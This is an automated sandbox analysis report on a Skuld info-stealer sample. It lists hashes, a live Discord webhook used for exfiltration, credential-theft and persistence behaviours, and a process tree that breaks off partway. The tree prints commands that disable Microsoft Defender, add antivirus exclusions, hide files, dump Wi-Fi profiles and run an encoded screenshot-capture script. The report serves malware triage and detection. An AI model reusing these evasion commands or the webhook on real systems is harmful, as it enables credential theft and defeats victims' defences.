skuld | b314a11a49d471019fd51f31ddd80c69ae3dbd374c3664a40eeb8ffed9338037

Analysis

max time kernel
150s
max time network
127s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
15/08/2026, 03:04

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
b314a11a49d471019fd51f31ddd80c69ae3dbd374c3664a40eeb8ffed9338037.exe
Size 11.7MB
Sample260815-dkr5mayta1
SHA256 b314a11a49d471019fd51f31ddd80c69ae3dbd374c3664a40eeb8ffed9338037
MD5 e569da896706e9ec972dc3a49e616d12
SHA1 aabdb970e4c4589e5c15f67c9b16b467dc66c41e
SHA512 741430eaf179d3679c59ce2bb3a512867bbc5c0c70199d2c8c7dbf5b3912cbc6acb9437b8be8545820f8b15bfd357ff0d0ae82f0a65fae80d5a3b47399eb0bf2
SSDEEP 196608:OU8is9DkSEWcJ2uZpGFSg1HPR9MWr9SlgmEbZFdbcP+agilrp2DzpO3qtOZnEBRN:OU8is59C2u3Vg5PR9MWBPomahlr4g2Oq
TLSH
T1E6C6238B7CE540B6C4BA93324CA312913A71BC450F3227D72EA0B7782FB6BD15976B54
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution skuld persistence privilege_escalation spyware stealer trojan

Malware Config

Extracted

Family

skuld

https://discord.com/api/webhooks/1537811722486948001/rFCoHdBC74sTQK9lm9nCVddaKQd2W1xloaBEja-7_kp79qha2ga-Fa6Mf644i9VQp0NB

Signatures

Family: Skuld stealer
An info stealer written in Go lang.
stealer skuld

Detects SkuldStealer 1 IoCs

resource	yara_rule
behavioral2/files/0x00130000000118e9-4.dat	family_skuld

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1480	powershell.exe
6884	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
6884	powershell.exe

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	RtkAud64.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Executes dropped EXE 1 IoCs

pid	Process
5792	RtkAud64.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Windows\CurrentVersion\Run\Realtek HD Audio Universal Service = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Protect\\SecurityHealthSystray.exe"	RtkAud64.exe

Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	discord.com
1	api.gofile.io
6	discord.com
7	api.gofile.io

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

A root certificate was added, modified, or removed in the trusted certificate store registry paths.

defense_evasion

Install Root Certificate

T1553.004

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 6b000000010000002000000096bcec06264976f37460779acf28c5a7cfe8a3c0aae11a8ffcee05c0bddf08c61900000001000000100000002fe1f70bb05d7c92335bc5e05b984da6030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f6314000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	RtkAud64.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c00000001000000040000000010000014000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e0f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e81900000001000000100000002fe1f70bb05d7c92335bc5e05b984da66b000000010000002000000096bcec06264976f37460779acf28c5a7cfe8a3c0aae11a8ffcee05c0bddf08c620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	RtkAud64.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
3472	netsh.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4800	wmic.exe

GoLang User-Agent 1 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	8	Go-http-client/1.1

Modifies system certificate store 2 TTPs 1 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	RtkAud64.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4520	wmic.exe
4520	wmic.exe
4520	wmic.exe
4520	wmic.exe
5792	RtkAud64.exe
5792	RtkAud64.exe
5792	RtkAud64.exe
5792	RtkAud64.exe
1480	powershell.exe
1480	powershell.exe
1480	powershell.exe
5792	RtkAud64.exe
5792	RtkAud64.exe
5792	RtkAud64.exe
5792	RtkAud64.exe
5792	RtkAud64.exe
5792	RtkAud64.exe
5792	RtkAud64.exe
5792	RtkAud64.exe
5352	wmic.exe
5352	wmic.exe
5352	wmic.exe
5352	wmic.exe
5792	RtkAud64.exe
5792	RtkAud64.exe
5792	RtkAud64.exe
5792	RtkAud64.exe
5792	RtkAud64.exe
5792	RtkAud64.exe
5792	RtkAud64.exe
5792	RtkAud64.exe
5792	RtkAud64.exe
5792	RtkAud64.exe
4800	wmic.exe
4800	wmic.exe
4800	wmic.exe
4800	wmic.exe
5792	RtkAud64.exe
5792	RtkAud64.exe
5792	RtkAud64.exe
5792	RtkAud64.exe
5792	RtkAud64.exe
5792	RtkAud64.exe
2688	wmic.exe
2688	wmic.exe
2688	wmic.exe
2688	wmic.exe
5792	RtkAud64.exe
5792	RtkAud64.exe
5792	RtkAud64.exe
5792	RtkAud64.exe
5792	RtkAud64.exe
5792	RtkAud64.exe
5792	RtkAud64.exe
5792	RtkAud64.exe
5792	RtkAud64.exe
5792	RtkAud64.exe
5792	RtkAud64.exe
5792	RtkAud64.exe
5792	RtkAud64.exe
5792	RtkAud64.exe
5792	RtkAud64.exe
5792	RtkAud64.exe
5792	RtkAud64.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5792	RtkAud64.exe
Token: SeIncreaseQuotaPrivilege	4520	wmic.exe
Token: SeSecurityPrivilege	4520	wmic.exe
Token: SeTakeOwnershipPrivilege	4520	wmic.exe
Token: SeLoadDriverPrivilege	4520	wmic.exe
Token: SeSystemProfilePrivilege	4520	wmic.exe
Token: SeSystemtimePrivilege	4520	wmic.exe
Token: SeProfSingleProcessPrivilege	4520	wmic.exe
Token: SeIncBasePriorityPrivilege	4520	wmic.exe
Token: SeCreatePagefilePrivilege	4520	wmic.exe
Token: SeBackupPrivilege	4520	wmic.exe
Token: SeRestorePrivilege	4520	wmic.exe
Token: SeShutdownPrivilege	4520	wmic.exe
Token: SeDebugPrivilege	4520	wmic.exe
Token: SeSystemEnvironmentPrivilege	4520	wmic.exe
Token: SeRemoteShutdownPrivilege	4520	wmic.exe
Token: SeUndockPrivilege	4520	wmic.exe
Token: SeManageVolumePrivilege	4520	wmic.exe
Token: 33	4520	wmic.exe
Token: 34	4520	wmic.exe
Token: 35	4520	wmic.exe
Token: 36	4520	wmic.exe
Token: SeIncreaseQuotaPrivilege	4520	wmic.exe
Token: SeSecurityPrivilege	4520	wmic.exe
Token: SeTakeOwnershipPrivilege	4520	wmic.exe
Token: SeLoadDriverPrivilege	4520	wmic.exe
Token: SeSystemProfilePrivilege	4520	wmic.exe
Token: SeSystemtimePrivilege	4520	wmic.exe
Token: SeProfSingleProcessPrivilege	4520	wmic.exe
Token: SeIncBasePriorityPrivilege	4520	wmic.exe
Token: SeCreatePagefilePrivilege	4520	wmic.exe
Token: SeBackupPrivilege	4520	wmic.exe
Token: SeRestorePrivilege	4520	wmic.exe
Token: SeShutdownPrivilege	4520	wmic.exe
Token: SeDebugPrivilege	4520	wmic.exe
Token: SeSystemEnvironmentPrivilege	4520	wmic.exe
Token: SeRemoteShutdownPrivilege	4520	wmic.exe
Token: SeUndockPrivilege	4520	wmic.exe
Token: SeManageVolumePrivilege	4520	wmic.exe
Token: 33	4520	wmic.exe
Token: 34	4520	wmic.exe
Token: 35	4520	wmic.exe
Token: 36	4520	wmic.exe
Token: SeDebugPrivilege	1480	powershell.exe
Token: SeIncreaseQuotaPrivilege	5352	wmic.exe
Token: SeSecurityPrivilege	5352	wmic.exe
Token: SeTakeOwnershipPrivilege	5352	wmic.exe
Token: SeLoadDriverPrivilege	5352	wmic.exe
Token: SeSystemProfilePrivilege	5352	wmic.exe
Token: SeSystemtimePrivilege	5352	wmic.exe
Token: SeProfSingleProcessPrivilege	5352	wmic.exe
Token: SeIncBasePriorityPrivilege	5352	wmic.exe
Token: SeCreatePagefilePrivilege	5352	wmic.exe
Token: SeBackupPrivilege	5352	wmic.exe
Token: SeRestorePrivilege	5352	wmic.exe
Token: SeShutdownPrivilege	5352	wmic.exe
Token: SeDebugPrivilege	5352	wmic.exe
Token: SeSystemEnvironmentPrivilege	5352	wmic.exe
Token: SeRemoteShutdownPrivilege	5352	wmic.exe
Token: SeUndockPrivilege	5352	wmic.exe
Token: SeManageVolumePrivilege	5352	wmic.exe
Token: 33	5352	wmic.exe
Token: 34	5352	wmic.exe
Token: 35	5352	wmic.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 6228 wrote to memory of 5792	6228	b314a11a49d471019fd51f31ddd80c69ae3dbd374c3664a40eeb8ffed9338037.exe	89
PID 5792 wrote to memory of 2012	5792	RtkAud64.exe	91
PID 5792 wrote to memory of 4520	5792	RtkAud64.exe	92
PID 5792 wrote to memory of 1480	5792	RtkAud64.exe	93
PID 5792 wrote to memory of 5352	5792	RtkAud64.exe	96
PID 5792 wrote to memory of 4836	5792	RtkAud64.exe	97
PID 5792 wrote to memory of 4800	5792	RtkAud64.exe	99
PID 5792 wrote to memory of 2688	5792	RtkAud64.exe	100
PID 5792 wrote to memory of 6884	5792	RtkAud64.exe	101
PID 5792 wrote to memory of 3472	5792	RtkAud64.exe	102
PID 5792 wrote to memory of 5108	5792	RtkAud64.exe	103
PID 5108 wrote to memory of 5600	5108	powershell.exe	104
PID 5600 wrote to memory of 1920	5600	csc.exe	105
PID 5792 wrote to memory of 3860	5792	RtkAud64.exe	106
PID 5792 wrote to memory of 2836	5792	RtkAud64.exe	107

Views/modifies file attributes 1 TTPs 4 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3860	attrib.exe
2836	attrib.exe
2012	attrib.exe
4836	attrib.exe

C:\Users\Admin\AppData\Local\Temp\b314a11a49d471019fd51f31ddd80c69ae3dbd374c3664a40eeb8ffed9338037.exe
"C:\Users\Admin\AppData\Local\Temp\b314a11a49d471019fd51f31ddd80c69ae3dbd374c3664a40eeb8ffed9338037.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:6228
- C:\Users\Admin\AppData\Local\Temp\RtkAud64.exe
  "C:\Users\Admin\AppData\Local\Temp\RtkAud64.exe"
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Adds Run key to start application
  - Modifies trusted root certificate store through registry
  - Modifies system certificate store
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5792
- - C:\Windows\system32\attrib.exe
    attrib +h +s C:\Users\Admin\AppData\Local\Temp\RtkAud64.exe
    3⤵
    - Views/modifies file attributes
    PID:2012
- - C:\Windows\System32\Wbem\wmic.exe
    wmic os get Caption
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4520
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\RtkAud64.exe
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1480
- - C:\Windows\System32\Wbem\wmic.exe
    wmic cpu get Name
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5352
- - C:\Windows\system32\attrib.exe
    attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
    3⤵
    - Views/modifies file attributes
    PID:4836
- - C:\Windows\System32\Wbem\wmic.exe
    wmic path win32_VideoController get name
    3⤵
    - Detects videocard installed
    - Suspicious behavior: EnumeratesProcesses
    PID:4800
- - C:\Windows\System32\Wbem\wmic.exe
    wmic csproduct get UUID
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2688
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Disables one or more Microsoft Defender components
    PID:6884
- - C:\Windows\system32\netsh.exe
    netsh wlan show profiles
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:3472
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5108
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ph1fsaax\ph1fsaax.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5600
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6EAE.tmp" "c:\Users\Admin\AppData\Local\Temp\ph1fsaax\CSCE844CE0DF8824EF294783A6AD13A5DC.TMP"
        5⤵
        
        PID:1920
- - C:\Windows\system32\attrib.exe
    attrib -r C:\Windows\System32\drivers\etc\hosts
    3⤵
    - Drops file in Drivers directory
    - Views/modifies file attributes
    PID:3860
- - C:\Windows\system32\attrib.exe
